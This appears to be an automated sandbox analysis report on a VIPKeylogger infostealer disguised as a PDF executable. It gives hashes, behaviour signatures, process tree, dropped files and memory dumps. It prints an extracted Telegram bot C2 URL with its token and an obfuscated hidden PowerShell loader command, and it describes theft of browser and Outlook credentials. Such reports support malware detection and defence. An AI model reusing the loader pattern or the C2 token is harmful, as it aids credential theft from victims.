Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-12-2024 15:13

General

  • Target

    678763_PDF.exe

  • Size

    694KB

  • MD5

    42b3eeff606c41053b2b30e6df1baa87

  • SHA1

    8957ac95d71567ccf7d0efc28ddcc944352308d0

  • SHA256

    f3b82a629b1eff8b49edcfb38f2d0cbd0ef366a59a97264eb7b86373a45588c4

  • SHA512

    2646e4cd32e39c285be65eecab4bc6c6e92a1b5e5992ba53b5d4f062ddcde1b1a596773d2976442be6ed3be5d36144f4cf23caf665b248909aa1aee316b453b8

  • SSDEEP

    12288:IfL/UfibuJ2zMMzztVZK+u5YBCtKlQyYefZKSxA340ryKhzJ:IfL8fibuJ2/JVZZuaBCtjexKj3vR

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot8138030788:AAEti5Rsvkh3t9x1DE3f72xKiRnG5XE9PkI/sendMessage?chat_id=7844469787

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\678763_PDF.exe
    "C:\Users\Admin\AppData\Local\Temp\678763_PDF.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3348
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Epigraphic93=gc -raw 'C:\Users\Admin\AppData\Roaming\erstatningsgraden\Internist\Hyperimmune.Mus';$Miljerne=$Epigraphic93.SubString(70004,3);.$Miljerne($Epigraphic93) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2364
      • C:\Users\Admin\AppData\Local\Temp\Beskftigelsesmssiges.exe
        "C:\Users\Admin\AppData\Local\Temp\Beskftigelsesmssiges.exe"
        3⤵
        • Loads dropped DLL
        • Accesses Microsoft Outlook profiles
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:220

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Beskftigelsesmssiges.exe

    Filesize

    694KB

    MD5

    42b3eeff606c41053b2b30e6df1baa87

    SHA1

    8957ac95d71567ccf7d0efc28ddcc944352308d0

    SHA256

    f3b82a629b1eff8b49edcfb38f2d0cbd0ef366a59a97264eb7b86373a45588c4

    SHA512

    2646e4cd32e39c285be65eecab4bc6c6e92a1b5e5992ba53b5d4f062ddcde1b1a596773d2976442be6ed3be5d36144f4cf23caf665b248909aa1aee316b453b8

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_es2pejyf.1fi.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nsxB288.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    b4579bc396ace8cafd9e825ff63fe244

    SHA1

    32a87ed28a510e3b3c06a451d1f3d0ba9faf8d9c

    SHA256

    01e72332362345c415a7edcb366d6a1b52be9ac6e946fb9da49785c140ba1a4b

    SHA512

    3a76e0e259a0ca12275fed922ce6e01bdfd9e33ba85973e80101b8025ef9243f5e32461a113bbcc6aa75e40894bb5d3a42d6b21045517b6b3cf12d76b4cfa36a

  • C:\Users\Admin\AppData\Roaming\erstatningsgraden\Internist\Hyperimmune.Mus

    Filesize

    68KB

    MD5

    768076bc07a8269777eca668ffad03db

    SHA1

    f45fe94624260d24d11fd08cef836613c7b6b6de

    SHA256

    5dd1c6b30be06f7d0b330db92b5ce440f11abd4d0e0574325054aa32e6704373

    SHA512

    e3118fcf36589362057d930e89b8e65d8f5e5f83cd3f1c105ea23a86633cad45d063d4e59a7e2e88b301fbad79b2b250c18b4188db1b2469e7989719f6ba0da9

  • C:\Users\Admin\AppData\Roaming\erstatningsgraden\Internist\Stttepenge.Con

    Filesize

    302KB

    MD5

    68203be6aeca0041e89c1b3ad79d66ab

    SHA1

    9fdfce5ef08c4cea42305dc42aafac600edfbdcf

    SHA256

    f96640c810b03b5701a67ef0b8916b5d4d3d47cb6befed3337462e2f6ff2711c

    SHA512

    fd594bec40cbf4db10a593b94172856429f9db80a021a54a6674fcd6861d34cf28ca0cfb593d5c0671e82baeae96a60bfd66f35137d4fff7016880951665acd0

  • memory/220-88-0x0000000000470000-0x00000000016C4000-memory.dmp

    Filesize

    18.3MB

  • memory/220-99-0x0000000020AC0000-0x0000000020ACA000-memory.dmp

    Filesize

    40KB

  • memory/220-98-0x0000000020A00000-0x0000000020A92000-memory.dmp

    Filesize

    584KB

  • memory/220-95-0x0000000023E60000-0x000000002438C000-memory.dmp

    Filesize

    5.2MB

  • memory/220-94-0x0000000023D80000-0x0000000023DD0000-memory.dmp

    Filesize

    320KB

  • memory/220-93-0x0000000023B90000-0x0000000023D52000-memory.dmp

    Filesize

    1.8MB

  • memory/220-91-0x0000000022EF0000-0x0000000022F8C000-memory.dmp

    Filesize

    624KB

  • memory/220-90-0x0000000000470000-0x00000000004BA000-memory.dmp

    Filesize

    296KB

  • memory/2364-50-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-56-0x0000000007580000-0x0000000007588000-memory.dmp

    Filesize

    32KB

  • memory/2364-27-0x0000000005F80000-0x0000000005F9E000-memory.dmp

    Filesize

    120KB

  • memory/2364-28-0x0000000005FB0000-0x0000000005FFC000-memory.dmp

    Filesize

    304KB

  • memory/2364-29-0x00000000064E0000-0x0000000006576000-memory.dmp

    Filesize

    600KB

  • memory/2364-30-0x0000000006490000-0x00000000064AA000-memory.dmp

    Filesize

    104KB

  • memory/2364-31-0x0000000006F40000-0x0000000006F62000-memory.dmp

    Filesize

    136KB

  • memory/2364-32-0x00000000075C0000-0x0000000007B64000-memory.dmp

    Filesize

    5.6MB

  • memory/2364-34-0x00000000081F0000-0x000000000886A000-memory.dmp

    Filesize

    6.5MB

  • memory/2364-36-0x0000000070710000-0x000000007075C000-memory.dmp

    Filesize

    304KB

  • memory/2364-35-0x0000000007170000-0x00000000071A2000-memory.dmp

    Filesize

    200KB

  • memory/2364-46-0x00000000073B0000-0x00000000073CE000-memory.dmp

    Filesize

    120KB

  • memory/2364-47-0x00000000073E0000-0x0000000007483000-memory.dmp

    Filesize

    652KB

  • memory/2364-48-0x00000000074E0000-0x00000000074EA000-memory.dmp

    Filesize

    40KB

  • memory/2364-49-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-15-0x0000000005890000-0x00000000058F6000-memory.dmp

    Filesize

    408KB

  • memory/2364-51-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-52-0x0000000007500000-0x0000000007511000-memory.dmp

    Filesize

    68KB

  • memory/2364-53-0x0000000007540000-0x000000000754E000-memory.dmp

    Filesize

    56KB

  • memory/2364-54-0x0000000007550000-0x0000000007564000-memory.dmp

    Filesize

    80KB

  • memory/2364-55-0x0000000007CB0000-0x0000000007CCA000-memory.dmp

    Filesize

    104KB

  • memory/2364-26-0x0000000005970000-0x0000000005CC4000-memory.dmp

    Filesize

    3.3MB

  • memory/2364-57-0x0000000007CB0000-0x0000000007CDA000-memory.dmp

    Filesize

    168KB

  • memory/2364-58-0x0000000007CE0000-0x0000000007D04000-memory.dmp

    Filesize

    144KB

  • memory/2364-59-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-61-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-63-0x000000007428E000-0x000000007428F000-memory.dmp

    Filesize

    4KB

  • memory/2364-64-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-65-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-66-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-68-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-67-0x0000000008870000-0x000000000BA1A000-memory.dmp

    Filesize

    49.7MB

  • memory/2364-69-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-70-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-71-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-16-0x0000000005900000-0x0000000005966000-memory.dmp

    Filesize

    408KB

  • memory/2364-14-0x00000000050C0000-0x00000000050E2000-memory.dmp

    Filesize

    136KB

  • memory/2364-13-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-12-0x00000000051F0000-0x0000000005818000-memory.dmp

    Filesize

    6.2MB

  • memory/2364-11-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB

  • memory/2364-10-0x0000000002630000-0x0000000002666000-memory.dmp

    Filesize

    216KB

  • memory/2364-9-0x000000007428E000-0x000000007428F000-memory.dmp

    Filesize

    4KB

  • memory/2364-75-0x0000000074280000-0x0000000074A30000-memory.dmp

    Filesize

    7.7MB